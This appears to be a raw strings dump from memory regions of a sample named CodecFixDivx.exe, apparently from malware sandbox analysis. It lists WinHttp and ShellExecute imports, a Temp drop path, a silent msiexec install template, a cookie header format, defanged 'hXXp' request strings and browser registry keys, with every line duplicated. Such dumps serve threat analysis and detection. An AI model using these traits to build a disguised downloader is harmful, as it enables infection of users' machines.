    RegEnumKeyW

    RegEnumKeyW

    RegOpenKeyExA

    RegOpenKeyExA

    GetWindowsAccountDomainSid

    GetWindowsAccountDomainSid

    ADVAPI32.dll

    ADVAPI32.dll

    COMCTL32.dll

    COMCTL32.dll

    ole32.dll

    ole32.dll

    WS2_32.dll

    WS2_32.dll

    SHFileOperationW

    SHFileOperationW

    ShellExecuteW

    ShellExecuteW

    ShellExecuteExW

    ShellExecuteExW

    SHELL32.dll

    SHELL32.dll

    SHLWAPI.dll

    SHLWAPI.dll

    OLEAUT32.dll

    OLEAUT32.dll

    GDI32.dll

    GDI32.dll

    WinHttpOpen

    WinHttpOpen

    WinHttpConnect

    WinHttpConnect

    WinHttpOpenRequest

    WinHttpOpenRequest

    WinHttpSetTimeouts

    WinHttpSetTimeouts

    WinHttpAddRequestHeaders

    WinHttpAddRequestHeaders

    WinHttpSendRequest

    WinHttpSendRequest

    WinHttpWriteData

    WinHttpWriteData

    WinHttpReceiveResponse

    WinHttpReceiveResponse

    WinHttpQueryHeaders

    WinHttpQueryHeaders

    WinHttpQueryDataAvailable

    WinHttpQueryDataAvailable

    WinHttpReadData

    WinHttpReadData

    WinHttpCloseHandle

    WinHttpCloseHandle

    WINHTTP.dll

    WINHTTP.dll

    VERSION.dll

    VERSION.dll

    zcÁ

    zcÁ

    [email protected]@

    [email protected]@

    :::#222.111 )))

    :::#222.111 )))

    : :$:(:,:0:4:

    : :$:(:,:0:4:

    6(606\6`6

    6(606\6`6

    mscoree.dll

    mscoree.dll

    ext-ms-win-ntuser-windowstation-l1-1-0

    ext-ms-win-ntuser-windowstation-l1-1-0

    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\CodecFixDivx.exe

    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\CodecFixDivx.exe

    1.0.0.1

    1.0.0.1

    TemplatelExeFile.rc

    TemplatelExeFile.rc

    combase.dll

    combase.dll

    kernel32.dll

    kernel32.dll

    - floating point support not loaded

    - floating point support not loaded

    - CRT not initialized

    - CRT not initialized

    - Attempt to initialize the CRT more than once.

    - Attempt to initialize the CRT more than once.

    portuguese-brazilian

    portuguese-brazilian

    USER32.DLL

    USER32.DLL

    %systemroot%\system32\msiexec.exe

    %systemroot%\system32\msiexec.exe

    "%s" /i "%s" /quiet %s

    "%s" /i "%s" /quiet %s

    "%s" ,%s %s

    "%s" ,%s %s

    B%s\%s

    B%s\%s

    /Cookie: %s

    /Cookie: %s

    .runas

    .runas

    %d.%d.%d.%d

    %d.%d.%d.%d

    diexplore.exe

    diexplore.exe

    firefox.exe

    firefox.exe

    chrome.exe

    chrome.exe

    Software\Microsoft\Windows\CurrentVersion\App Paths\IEXPLORE.EXE

    Software\Microsoft\Windows\CurrentVersion\App Paths\IEXPLORE.EXE

    @Advapi32.dll

    @Advapi32.dll

    {8856F961-340A-11D0-A96B-00C04FD705A2}

    {8856F961-340A-11D0-A96B-00C04FD705A2}

    CodecFixDivx.exe_4036_rwx_001E0000_0005F000:

    .text

    .text

    `.rdata

    `.rdata

    @.data

    @.data

    .rsrc

    .rsrc

    @.reloc

    @.reloc

    EI|%C}

    EI|%C}

    D$8j.Xf

    D$8j.Xf

    j.Yf;

    j.Yf;

    [email protected]

    [email protected]

    .PjRW

    .PjRW

    function not supported

    function not supported

    operation canceled

    operation canceled

    address_family_not_supported

    address_family_not_supported

    operation_in_progress

    operation_in_progress

    operation_not_supported

    operation_not_supported

    protocol_not_supported

    protocol_not_supported

    operation_would_block

    operation_would_block

    address family not supported

    address family not supported

    broken pipe

    broken pipe

    inappropriate io control operation

    inappropriate io control operation

    not supported

    not supported

    operation in progress

    operation in progress

    operation not permitted

    operation not permitted

    operation not supported

    operation not supported

    operation would block

    operation would block

    protocol not supported

    protocol not supported

    operator

    operator

    GetProcessWindowStation

    GetProcessWindowStation

    openUrl

    openUrl

    appCmd

    appCmd

    appImageUrl

    appImageUrl

    appSetupUrl

    appSetupUrl

    appTYUrl

    appTYUrl

    HTTP/1.1

    HTTP/1.1

    GET hXXp://

    GET hXXp://

    POST hXXp://

    POST hXXp://

    hXXps://

    hXXps://

    hXXp://

    hXXp://

    Fx

    Fx

    id[]=%d

    id[]=%d

    application/x-www-form-urlencoded

    application/x-www-form-urlencoded

    Software\Microsoft\Windows\Shell\Associations\UrlAssociations\http\UserChoice

    Software\Microsoft\Windows\Shell\Associations\UrlAssociations\http\UserChoice

    IE.HTTP

    IE.HTTP

    FirefoxURL

    FirefoxURL

    Firefox

    Firefox

    ChromeHTML

    ChromeHTML

    Chrome

    Chrome

    HTTP\shell\open\command

    HTTP\shell\open\command

    RegOpenKeyTransactedW

    RegOpenKeyTransactedW

    GetProcessHeap

    GetProcessHeap

    KERNEL32.dll

    KERNEL32.dll

    CreateDialogIndirectParamW

    CreateDialogIndirectParamW

    USER32.dll

    USER32.dll

    CryptImportKey

    CryptImportKey

    CryptSetKeyParam

    CryptSetKeyParam

    CryptDestroyKey

    CryptDestroyKey

    RegOpenKeyExW

    RegOpenKeyExW

    RegCloseKey

    RegCloseKey

    RegEnumKeyW

    RegEnumKeyW

    RegOpenKeyExA

    RegOpenKeyExA

    GetWindowsAccountDomainSid

    GetWindowsAccountDomainSid

    ADVAPI32.dll

    ADVAPI32.dll

    COMCTL32.dll

    COMCTL32.dll

    ole32.dll

    ole32.dll

    WS2_32.dll

    WS2_32.dll

    SHFileOperationW

    SHFileOperationW

    ShellExecuteW

    ShellExecuteW

    ShellExecuteExW

    ShellExecuteExW

    SHELL32.dll

    SHELL32.dll

    SHLWAPI.dll

    SHLWAPI.dll

    OLEAUT32.dll

    OLEAUT32.dll

    GDI32.dll

    GDI32.dll

    WinHttpOpen

    WinHttpOpen

    WinHttpConnect

    WinHttpConnect

    WinHttpOpenRequest

    WinHttpOpenRequest

    WinHttpSetTimeouts

    WinHttpSetTimeouts

    WinHttpAddRequestHeaders

    WinHttpAddRequestHeaders

    WinHttpSendRequest

    WinHttpSendRequest

    WinHttpWriteData

    WinHttpWriteData

    WinHttpReceiveResponse

    WinHttpReceiveResponse

    WinHttpQueryHeaders

    WinHttpQueryHeaders

    WinHttpQueryDataAvailable

    WinHttpQueryDataAvailable

    WinHttpReadData

    WinHttpReadData

    WinHttpCloseHandle

    WinHttpCloseHandle

    WINHTTP.dll

    WINHTTP.dll

    VERSION.dll

    VERSION.dll

    GetCPInfo

    GetCPInfo

    zcÁ

    zcÁ

    [email protected]@

    [email protected]@

    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\CodecFixDivx.exe

    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\CodecFixDivx.exe

    :::#222.111 )))

    :::#222.111 )))

    : :$:(:,:0:4:

    : :$:(:,:0:4:

    6(606\6`6

    6(606\6`6

    combase.dll

    combase.dll

    kernel32.dll

    kernel32.dll

    mscoree.dll

    mscoree.dll

    - floating point support not loaded

    - floating point support not loaded

    - CRT not initialized

    - CRT not initialized

    - Attempt to initialize the CRT more than once.

    - Attempt to initialize the CRT more than once.

    portuguese-brazilian

    portuguese-brazilian

    USER32.DLL

    USER32.DLL

    %systemroot%\system32\msiexec.exe

    %systemroot%\system32\msiexec.exe

    "%s" /i "%s" /quiet %s

    "%s" /i "%s" /quiet %s

    "%s" ,%s %s

    "%s" ,%s %s

    %s\%s

    %s\%s

    /Cookie: %s

    /Cookie: %s

    .runas

    .runas

    %d.%d.%d.%d

    %d.%d.%d.%d

    diexplore.exe

    diexplore.exe

    firefox.exe

    firefox.exe

    chrome.exe

    chrome.exe

    Software\Microsoft\Windows\CurrentVersion\App Paths\IEXPLORE.EXE

    Software\Microsoft\Windows\CurrentVersion\App Paths\IEXPLORE.EXE

    Advapi32.dll

    Advapi32.dll

    {8856F961-340A-11D0-A96B-00C04FD705A2}

    {8856F961-340A-11D0-A96B-00C04FD705A2}

    CodecFixDivx.exe_4036_rwx_00814000_00001000:

    operator

    operator

    operator ""

    operator ""

    CodecFixDivx.exe_4036_rwx_00838000_000E3000:

    .text

    .text

    `.rdata

    `.rdata

    @.data

    @.data

    .rsrc

    .rsrc

    @.reloc

    @.reloc

    EI|%C}

    EI|%C}

    D$8j.Xf

    D$8j.Xf

    j.Yf;

    j.Yf;

    [email protected]

    [email protected]

    .PjRW

    .PjRW

    function not supported

    function not supported

    operation canceled

    operation canceled

    address_family_not_supported

    address_family_not_supported

    operation_in_progress

    operation_in_progress

    operation_not_supported

    operation_not_supported

    protocol_not_supported

    protocol_not_supported

    operation_would_block

    operation_would_block

    address family not supported

    address family not supported

    broken pipe

    broken pipe

    inappropriate io control operation

    inappropriate io control operation

    not supported

    not supported

    operation in progress

    operation in progress

    operation not permitted

    operation not permitted

    operation not supported

    operation not supported

    operation would block

    operation would block

    protocol not supported

    protocol not supported

    operator

    operator

    GetProcessWindowStation

    GetProcessWindowStation

    openUrl

    openUrl

    appCmd

    appCmd

    appImageUrl

    appImageUrl

    appSetupUrl

    appSetupUrl

    appTYUrl

    appTYUrl

    HTTP/1.1

    HTTP/1.1

    GET hXXp://

    GET hXXp://

    POST hXXp://

    POST hXXp://

    hXXps://

    hXXps://

    hXXp://

    hXXp://

    Fx

    Fx

    id[]=%d

    id[]=%d

    application/x-www-form-urlencoded

    application/x-www-form-urlencoded

    Software\Microsoft\Windows\Shell\Associations\UrlAssociations\http\UserChoice

    Software\Microsoft\Windows\Shell\Associations\UrlAssociations\http\UserChoice

    IE.HTTP

    IE.HTTP

    FirefoxURL

    FirefoxURL

    Firefox

    Firefox

    ChromeHTML

    ChromeHTML

    Chrome

    Chrome

    HTTP\shell\open\command

    HTTP\shell\open\command

    RegOpenKeyTransactedW

    RegOpenKeyTransactedW

    GetProcessHeap

    GetProcessHeap

    KERNEL32.dll

    KERNEL32.dll

    CreateDialogIndirectParamW

    CreateDialogIndirectParamW

    USER32.dll

    USER32.dll

    CryptImportKey

    CryptImportKey

    CryptSetKeyParam

    CryptSetKeyParam

    CryptDestroyKey

    CryptDestroyKey

    RegOpenKeyExW

    RegOpenKeyExW

    RegCloseKey

    RegCloseKey

    RegEnumKeyW

    RegEnumKeyW

    RegOpenKeyExA

    RegOpenKeyExA

    GetWindowsAccountDomainSid

    GetWindowsAccountDomainSid

    ADVAPI32.dll

    ADVAPI32.dll

    COMCTL32.dll

    COMCTL32.dll

    ole32.dll

    ole32.dll

    WS2_32.dll

    WS2_32.dll

    SHFileOperationW

    SHFileOperationW

    ShellExecuteW

    ShellExecuteW

    ShellExecuteExW

    ShellExecuteExW

    SHELL32.dll

    SHELL32.dll

    SHLWAPI.dll

    SHLWAPI.dll

    OLEAUT32.dll

    OLEAUT32.dll

    GDI32.dll

    GDI32.dll

    WinHttpOpen

    WinHttpOpen

    WinHttpConnect

    WinHttpConnect

    WinHttpOpenRequest

    WinHttpOpenRequest

    WinHttpSetTimeouts

    WinHttpSetTimeouts

    WinHttpAddRequestHeaders

    WinHttpAddRequestHeaders

    WinHttpSendRequest

    WinHttpSendRequest

    WinHttpWriteData

    WinHttpWriteData

    WinHttpReceiveResponse

    WinHttpReceiveResponse

    WinHttpQueryHeaders

    WinHttpQueryHeaders

    WinHttpQueryDataAvailable

    WinHttpQueryDataAvailable

    WinHttpReadData

    WinHttpReadData

    WinHttpCloseHandle

    WinHttpCloseHandle

    WINHTTP.dll

    WINHTTP.dll

    VERSION.dll

    VERSION.dll

    GetCPInfo

    GetCPInfo

    zcÁ

    zcÁ

    [email protected]@

    [email protected]@

    :::#222.111 )))

    :::#222.111 )))

    : :$:(:,:0:4:

    : :$:(:,:0:4:

    6(606\6`6

    6(606\6`6

    combase.dll

    combase.dll

    kernel32.dll

    kernel32.dll

    mscoree.dll

    mscoree.dll

    - floating point support not loaded

    - floating point support not loaded

    - CRT not initialized

    - CRT not initialized

    - Attempt to initialize the CRT more than once.

    - Attempt to initialize the CRT more than once.

    portuguese-brazilian

    portuguese-brazilian

    USER32.DLL

    USER32.DLL

    %systemroot%\system32\msiexec.exe

    %systemroot%\system32\msiexec.exe

    "%s" /i "%s" /quiet %s

    "%s" /i "%s" /quiet %s

    "%s" ,%s %s

    "%s" ,%s %s

    B%s\%s

    B%s\%s

    /Cookie: %s

    /Cookie: %s

    .runas

    .runas

    %d.%d.%d.%d

    %d.%d.%d.%d

    diexplore.exe

    diexplore.exe

    firefox.exe

    firefox.exe

    chrome.exe

    chrome.exe

    Software\Microsoft\Windows\CurrentVersion\App Paths\IEXPLORE.EXE

    Software\Microsoft\Windows\CurrentVersion\App Paths\IEXPLORE.EXE

    @Advapi32.dll

    @Advapi32.dll

    {8856F961-340A-11D0-A96B-00C04FD705A2}

    {8856F961-340A-11D0-A96B-00C04FD705A2}